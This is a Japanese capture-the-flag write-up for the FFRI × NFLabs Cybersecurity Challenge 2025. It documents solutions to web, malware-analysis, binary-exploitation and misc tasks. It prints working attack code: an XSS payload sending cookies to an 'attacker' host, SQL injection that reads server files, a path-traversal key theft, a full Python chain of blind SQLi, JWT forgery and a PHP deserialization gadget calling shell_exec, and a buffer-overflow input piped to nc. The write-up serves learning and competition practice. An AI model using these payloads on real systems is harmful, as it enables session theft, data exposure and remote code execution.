以下の内容はhttps://hiikunz.hatenablog.com/entry/ffri_nflabs_2025より取得しました。


FFRI × NFLabs. Cybersecurity Challenge 2025 WriteUp

FFRI × NFLabs. Cybersecurity Challenge 2025 に参加して 4 位でした。

この記事では、解けた問題のうちエスパー問題*1 を除く問題の WriteUp を書きます。

結果

Welcome

問題文にフラグが書いてある。

flag{Good_Luck_and_Have_Fun!}

Secure Web Company (Web)

Dockerfile を読む。(フラグは README.md にある。)

FROM nginx:alpine
COPY index.html script.js style.css README.md /usr/share/nginx/html/

普通にフラグが公開されているので、/README.md を取得すればいい。

flag{5up3r53cr37_4dm1n_p455w0rd}

Timecard (Web)

XSS 問題。admin が定期的にクロールしてるので、admin しか見れないページをなんとかして見てねという問題。

とりあえずタイムカード入力画面の「備考」に <script>alert(1)</alert> を書くとそのまま刺さるので、cookie を抜き出す。

タイムカードが入力できる

なぜか webhook.site に繋がらないので仕方なく自前でサーバーを用意する。*2

<script> location.href = "http://attacker?c=" + btoa(document.cookie) </script>

あとは admin からのリクエストを待って、奪った cookie で flag を確認するだけ。

flag{H9aDSMkTCWZMEuk25nZw}

TimeFiles (Web)

go 言語だ。最初の目標は admin.xml を読んで admin になること。とりあえず自明な SQLi がある。嬉しいことに結果がそのまま表示される。

func SearchContent(title string) (PageData, error) {
    ...
    queryStr := "SELECT * from msgs where title ILIKE '%" + title + "%'"
    ...
    rows, err := db.Query(queryStr)
    ...
    for rows.Next() {
        var msg Message
        err = rows.Scan(&msg.Title, &msg.Content)
        fmt.Printf("%s %s\n", msg.Title, msg.Content)
        data.Messages = append(data.Messages, msg)
    }

    return data, err
}

親切なことに GRANT pg_read_server_files TO db_user; が最初に実行されているおかげでファイルが読めるため、SELECT * from msgs where title ILIKE '%' UNION SELECT '1',pg_read_file('/app/admin.xml') -- % を実行すればいい。

これで、flag ページが呼び出せるようになった。flag ページは以下の関数で暗号化したフラグをくれる。

func generateKey() []byte {
    delay := rand.Intn(1000)
    time.Sleep(time.Duration(delay) * time.Millisecond)
    var seedTime = time.Now().UnixMilli()
    random := rand.New(rand.NewSource(seedTime))
    ....
}

func EncryptAes(plainText string) string {
    key := generateKey()
    ...
    iv := []byte{0x1a, 0x2b, 0x3c, 0x4d, 0x5e, 0x6f, 0x70, 0x81, 0x92, 0xa3, 0xb4, 0xc5, 0xd6, 0xe7, 0xf8, 0x09}

    mode := cipher.NewCBCEncrypter(block, iv)
    ciphertext := make([]byte, len(plainBytes))
    mode.CryptBlocks(ciphertext, plainBytes)

    return base64.StdEncoding.EncodeToString(ciphertext)
}

var seedTime = time.Now().UnixMilli() からわかる通り、シードが十分総当たり可能。

func main(){
    for i:=-2000; i<2000; i++ {
        ciphertext, err := base64.StdEncoding.DecodeString("IQyHXsvpMMsccRGrFFeMlHvuSBmUAP6S03z0f3PZqBU=")
        if err != nil {
            panic(err)
        }
        var seedTime = int64(1757670274798 + i); // アクセス時刻
        fmt.Println(strconv.FormatInt(seedTime, 10))
        random := rand.New(rand.NewSource(seedTime))

        key := make([]byte, 16)
        for i := 0; i < 4; i++ {
            val := random.Uint32()
            key[i*4+0] = byte(val >> 24)
            key[i*4+1] = byte(val >> 16)
            key[i*4+2] = byte(val >> 8)
            key[i*4+3] = byte(val)
        }

        block, err := aes.NewCipher(key)
        if err != nil {
            panic(err)
        }
        iv := []byte{0x1a, 0x2b, 0x3c, 0x4d, 0x5e, 0x6f, 0x70, 0x81, 0x92, 0xa3, 0xb4, 0xc5, 0xd6, 0xe7, 0xf8, 0x09}
        mode := cipher.NewCBCDecrypter(block, iv)
        plaintext := make([]byte, len(ciphertext))
        mode.CryptBlocks(plaintext, ciphertext)
        fmt.Println(string(plaintext))
    }
}

平文候補のうち、 flag{ から始まる flag{43s_f4s7_bu7_71m3_s10w3r} が答え。

Cereal Blog (Web)

PHP だ。

まず、admin としてログインするために、

  1. jwt を署名している鍵を LFI で読み取る
  2. admin 権限を持つアカウントとその内部 uuid を特定する

必要がある。

1 は nginx の設定ミスから読み取れる。

        location /uploads {
            alias /var/www/html/uploads/;
            try_files $uri =404;
        }

/uploads../secret/private.key にアクセスすれば、 /var/www/html/uploads/../secret/private.key が読み出せる。

2 は SQLi。

<?php
...
    public static function findImage($user_id, $post_id, $filename)
    {
        $filename = self::sanitize($filename);

        $db = \Core\Model::init_db();
        $stmt = $db->prepare("SELECT * FROM posts WHERE user_id = ? AND id = ? AND filename = '{$filename}'");
        $stmt->execute([$user_id, $post_id]);
        return $stmt->fetch(PDO::FETCH_ASSOC);
    }
...

ただし、以下の通り残念ながら 結果が 1 件以上存在するかしかわからないため、blind SQLi をする。

<?php
...
    public function edit($post_id)
    {
        $existing_image = \App\Models\Post::findImage($user['id'], $post_id, $filename);

        if ($existing_image) {
            $upload_filename = $filename;
        } else {
            $basename = pathinfo($filename, PATHINFO_FILENAME);
            $extension = pathinfo($filename, PATHINFO_EXTENSION);
            $upload_filename = $basename . '_' . bin2hex(random_bytes(16)) . '.' . $extension;
            ...
        }
    ...
    }
...

users テーブルのスキーマは以下の通り。

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) UNIQUE NOT NULL,
    password VARCHAR(255) NOT NULL,
    uuid VARCHAR(255) NOT NULL,
    role VARCHAR(255) NOT NULL DEFAULT 'user'
);

例えば SELECT * FROM posts WHERE user_id = ? AND id = ? AND filename = '' OR (SELECT SUBSTR(uuid,1,1) FROM users WHERE role = 'admin') = '0' -- '; を実行すれば、admin の uuid の 1 文字目が 0 かどうかがわかる。

さて、これで admin としてログインできたので 次は RCE を達成したい。

admin からだとデータベースの内容をほぼ何でも書き換えられるエンドポイントがあった。

また、/admin にアクセスすると次の関数が呼ばれる。

<?php
...
    public static function getSettings()
    {
        $db = \Core\Model::init_db();
        $stmt = $db->prepare("SELECT settings FROM app_settings WHERE id = 1");
        $stmt->execute();
        $settings = $stmt->fetch(PDO::FETCH_ASSOC);

        return unserialize($settings['settings']);
    }
...

これは Insecure Deserialization が起こせそう。

参考 blog.tokumaru.org

使えそうなクラスはこれだ。Router__destruct() が呼ばれるときに任意の関数が任意の引数で呼び出せる。

<?php

namespace Core;

class Event
{
    private $callback;
    private $args;

    public function __construct($callback, $args)
    {
        $this->callback = $callback;
        $this->args = $args;
    }

    public function execute()
    {
        call_user_func_array($this->callback, $this->args);
    }
}

class Router
{
    private $event;

    ...
    private function dispatch()
    {
        try {
            if (is_null($this->event)) {
                header("HTTP/1.1 404 Not Found");
                echo "404 Not Found";
                exit;
            }

            $this->event->execute();
        } catch (\Exception $e) {
            ...
        }
    }

    public function __destruct()
    {
        $this->dispatch();
    }
}

いい感じのオブジェクトを得るため、次のようなプログラムを書いた。フラグを uploads に移動すると楽。

<?php

namespace Core;

class Event
{
    private $callback;
    private $args;

    public function __construct($callback, $args)
    {
        $this->callback = $callback;
        $this->args = $args;
    }
}

class Router
{
    private $event;

    public function __construct()
    {
        $this->event = new Event("shell_exec", ["cp /fl* /var/www/html/uploads/flag.txt"]);
    }

}

$router = new Router();

echo urlencode(serialize($router))."\n";

以上をまとめてスクリプトにする。

import requests
import jwt
import urllib.parse
import time


key = requests.get("http://victim/uploads../secret/private.key").text

sess = requests.Session()

username = "aaa"
password = "aaa"
data = {
    "username": username,
    "password": password,
    "password_confirm": password,
}
response = sess.post("http://victim/auth/register", data=data)
response = sess.post("http://victim/auth/login", data=data)

with open("png_sample.png", "rb") as f:
    image = f.read()

image = image[:20]
data = {
    "title": "aaa",
    "content": "aaa",
}
files = {
    "filename": ("kugiri.png", image, "image/png"),
}
response = sess.post("http://victim/mypage/post", data=data, files=files)
post_id = response.text.split('<a href="/mypage/post/')[1].split('"')[0]

ans = ""

for i in range(36):
    for c in "-0123456789abcdef":
        files = {
            "filename": (
                f"' OR (SELECT SUBSTR(uuid,{i+1},1) FROM users WHERE role = 'admin') = '{c}' -- kugiri.png",
                image,
                "image/png",
            ),
        }

        response = sess.post(
            "http://victim/mypage/post/" + post_id, data=data, files=files
        )
        if response.text.split("kugiri")[1].split(".")[0] == "":
            ans += c
            print(ans)
            break

print("ans:", ans)

ans2 = ""

for i in range(5):
    for c in "abcdefghijklmnopqrstuvwxyz":
        files = {
            "filename": (
                f"' OR (SELECT SUBSTR(username,{i+1},1) FROM users WHERE role = 'admin') = '{c}' -- kugiri.png",
                image,
                "image/png",
            ),
        }

        response = sess.post(
            "http://victim/mypage/post/" + post_id, data=data, files=files
        )
        if response.text.split("kugiri")[1].split(".")[0] == "":
            ans2 += c
            print(ans2)
            break

print("ans2:", ans2)

t = time.time()

payload = {
    "username": ans2,
    "uuid": ans,
    "iat": t - 100000,
    "exp": t + 100000,
}
token = jwt.encode(payload, key, algorithm="RS256")

c = {"token": token}

obj = "O%3A11%3A%22Core%5CRouter%22%3A1%3A%7Bs%3A18%3A%22%00Core%5CRouter%00event%22%3BO%3A10%3A%22Core%5CEvent%22%3A2%3A%7Bs%3A20%3A%22%00Core%5CEvent%00callback%22%3Bs%3A10%3A%22shell_exec%22%3Bs%3A16%3A%22%00Core%5CEvent%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A38%3A%22cp+%2Ffl%2A+%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fflag.txt%22%3B%7D%7D%7D"

obj = urllib.parse.unquote(obj).replace("+", " ")
print(obj)

data = {"table": "app_settings", "record_id": "1", "column": "settings", "value": obj}

response = requests.post(
    "http://victim/admin/update-record", data=data, cookies=c
)

response = requests.get("http://victim/uploads/flag.txt", cookies=c)

print(response.text)

flag{wh47'5_y0ur_fav0r173_s3r14l?}

Downloader (Malware Analysis)

strings すればいい。

Acrobatics (Malware Analysis)

PDF が渡される。strings するとコードっぽいものが見えるので AI に解読してもらう。

flag{pdf_javascript_magic}

CustomEncryptor (Malware Analysis)

気合いで解析する。

from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA1

n = 0xBECFF0CEAD137EEEFA810D55B18F781C233AF239175D1154B623FBB867A0183FE1619A9464638056550C4FB28D9E2D231A8DDB4D8461ADB4A76049CAE2D0F8E39F88DB4526B6FF551217B779A85F9A3FEBA3791B6E96AE20C864EC1C0AD2B734F13BDE9E1C7D81DE799EF7EB456B17C85FDF09A8A050A7ECA672C11D6DFF117C081303D36A379C0EC992DF992191A008E729C5A53C33C1B7C877939F9AD2C3A90A059EB4F0CF9BA07238AD7E9074846516818092CB799EF38F737B4FF52FC23375EDCDB4091E12DDB91336E37D5E361C34DB1EF1864A428A727F72F8113DCB80C640FA2D59F0A11D3922D354EB9198D0040E4942E56B1039ED42BDF1D5EF2071
p = 0xE90663435898B5E1459D312759FE2D8504BC0E3FBF1652DB9DC4C2B0DFB26B626F11EECE6032D6EF3618C2A3D3D1BBEDFAC1EAC5074AFB8498B71901BC413A829203649739E9410B87B09A1FD393F2FE508620B97E6A05E5E3ED0D2E55EF2C5640CE1B40C9D9BC704AEBA397B4015E9692133B27B428ED498509623FD1AD604F
q = 0xD1A017EC497021E633139E65DEAA23A060DD1F4C2E842232A9C64AFB3B4137E230F50A9A60CF87609634BF98EA5120B034DF86536538EB85C3355AEAF0C6C2F2C15334CD19787A929DC95CEC23C33F50CE0F0EAEE9181CE52FCD2A0610D0CC05CCE399CCDAC7D6DD34E708C6B020E9CFADE9E6595C54C3C9688305BA6144833F
e = 0x10001
d = pow(e, -1, (p - 1) * (q - 1))
key = RSA.construct((n, e, d, p, q), consistency_check=True)

with open("secret.iso.encrypted", "rb") as f:
    x = f.read()

footer = x[-256:]

cipher = PKCS1_OAEP.new(key,hashAlgo=SHA1)
decrypted = cipher.decrypt(footer)
print(decrypted)

a = b'\xd5\xc9O<\x9b\x91\xa0\xb4\xad\xd8B\xcd\x1c\xd1\xf0\x89O\r\xc0\xcf\x1cU \x12\x18\x9bR(\xb2\xf4\x93\xfa\xd5\xb0\x90\xb9`\x9fgc\x9a&@\xa8\xe1\xd6gz'
aes_key = a[:32]
iv = a[32:48]

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(x[:-256]), AES.block_size)
print(decrypted.replace(b'\x00', b'').split(b".")[-1])

hidden (Malware Analysis)

AI を使いながら気合いで解析する。*3

from base64 import b64decode
import zlib

x = "AAAA9/Pz76m8vK6msb2utae9rq69rrCx67K1tKfr0+ewp9Hv4QDJ7toDAAAA"
x = x.replace(" ", "")
x = b64decode(x)

x = list(x)
y = []
for i in x:
    y.append(((i + 0x7A) & 0xFF) ^ 0x19)

y = bytes(y)
print(y)
key = y.split(b"|")[-1].split(b"ccc")[0]

def rc4(data, key):
    """RC4 暗号化 / 復号化"""
    S = list(range(256))
    j = 0
    key_len = len(key)

    for i in range(256):
        j = (j + S[i] + key[i % key_len]) & 0xFF
        S[i], S[j] = S[j], S[i]

    i = 0
    j = 0
    out = bytearray()
    for byte in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) & 0xFF]
        out.append(byte ^ K)

    return bytes(out)

ct = b"x\x9c\x01=\x00\xc2\xff\x10\xef\xa9]\xa0\x7f\xad\x89\xe4\xff\xa2\x84tvu\xf1\xbc .e\x97\xf2^\xef\xcev\r*\x91p\x9cc\xb7 9\x86\xd9R=X\xe6\x8c\xb4@\r\xd4c\x01\x1b!P\xa5\n\x94iqaX\x90J\xc4\xdes\x1du"

ct = zlib.decompress(ct)

key = b"Tx38RpBcZqMd"

flag = rc4(ct[1:], key)
print(flag)

flag{r@t_l1ke_gh0st_with_custom_pr0t0c0l_and_rc4_encrypt10n}

Abnormal (Binary Exploitation)

アイテムの売買ができる。アイテムを負の個数売れるので、オーバーフローさせるとお金がいっぱいもらえる。

=================================================
      _____ _ _       _____ _                
     |  ___| (_)_ __ |  ___| | ___  _ __     
     | |_  | | | '_ \| |_  | |/ _ \| '_ \    
     |  _| | | | |_) |  _| | | (_) | |_) |   
     |_|   |_|_| .__/|_|   |_|\___/| .__/    
               |_|                 |_|       
                                              
           Welcome to Flip-Flop Shop!          
=================================================


+================= Player Status =================+
| 💰 Gold: 1000                                  |
|                                                |
| 🎒 Inventory:                                  |
|   - Herb            x 100                      |
|   - Legendary Sword x 1                        |
+================================================+
Choose an action:
 1. Buy
 2. Sell
 3. Exit

> 2

=== 🛒 What would you like to sell? ===
 1. Herb - 10 yen 
 2. Legendary Sword - 220000 yen 

Select an item to sell: > 2
How many Legendary Sword do you want to sell? (you have: 1): > -1000000000
Thank you :)

+================= Player Status =================+
| 💰 Gold: 1109804008                            |
|                                                |
| 🎒 Inventory:                                  |
|   - Herb            x 100                      |
|   - Legendary Sword x 1                        |
+================================================+
Choose an action:
 1. Buy
 2. Sell
 3. Exit

> 1

=== 🛍 What would you like to buy? ===
 1. Torch - 10 yen
 2. Holy Water - 20 yen
 3. Great Stone - 800 yen
 4. FLAG - 9999999 yen 

Select an item to buy: 4
🎉 Congratulations! Here is your flag:
flag{Th3_m1nu5_cr33p5_b3y0nd_ch405}

Jump (Binary Exploitation)

自明な BoF がある。

void greet() {
    char name[16] = { 0 };
    gets(name);
    printf("Hi, %s!\n", name);
}

問題文に次の通り書いてあるので、簡単。

- スタック保護機能(Stack Canary)は無効です。
- 位置独立実行形式(PIE)は無効です。
- 本問題は32bit i386環境を前提としています。
- スタックのアラインメントは4バイトに設定されています。
- print_flag 関数は必ず 0x21466F42 にロードされます。
echo -e "XXXXXXXXXXXXXXXXXXXX\x42\x6f\x46\x21" | nc victim 8102
Tell me your name! : Hi, XXXXXXXXXXXXXXXXXXXXBoF!!
Congratulations! Here's the flag: flag{80F_JUMP_70_FUNC710N}

Lamp (Misc)

ハードウェア問題。わからないので、AI に聞くと答えを教えてもらえる。 flag{pico_gpio_master}

Salted Hash Hunt (Misc)

ヒントにほぼ答えが書いてあるので、指示通り実装する。

import hashlib

with open("rockyou.txt",mode="rb") as f:
    passwords = f.read().split()

ans = []
for p in passwords:
    fingerprint = str(hashlib.sha1(p).hexdigest()[:5])
    #print(p, fingerprint)
    if fingerprint == "04dc9":
        ans.append(p)

print(ans)

with open("systemA_auth.csv") as f:
    xs = f.read().split("\n")

data = []
for x in xs:
    x = x.split(",")
    # salt_hex,iter,hash
    if len(x) == 3:
        data.append((x[0], int(x[1]), x[2]))

data = sorted(data, key=lambda y: y[1])

for salt_hex, iter, h in data:
    for p in ans:
        dk = hashlib.pbkdf2_hmac("sha256", p, bytes.fromhex(salt_hex), iter)
        if dk.hex() == h:
            print(f"found! {p}")
            exit(0)

答えは JohnInTheBox8657

*1:エスパー問題」の定義は、「全員に公開されている情報から、問題サーバで行われている / 作問者の PC で行われた 動作が十分に再現できない問題」とします。

*2:競技の途中で「サーバーは VPN のみに接続していて、インターネットには繋がらない」という旨のアナウンスがあった

*3:実は実在するマルウェアの亜種なので、もとのコードと比較すると読みやすいらしい。自分はそんなこと全く気にせずに解いた。




以上の内容はhttps://hiikunz.hatenablog.com/entry/ffri_nflabs_2025より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14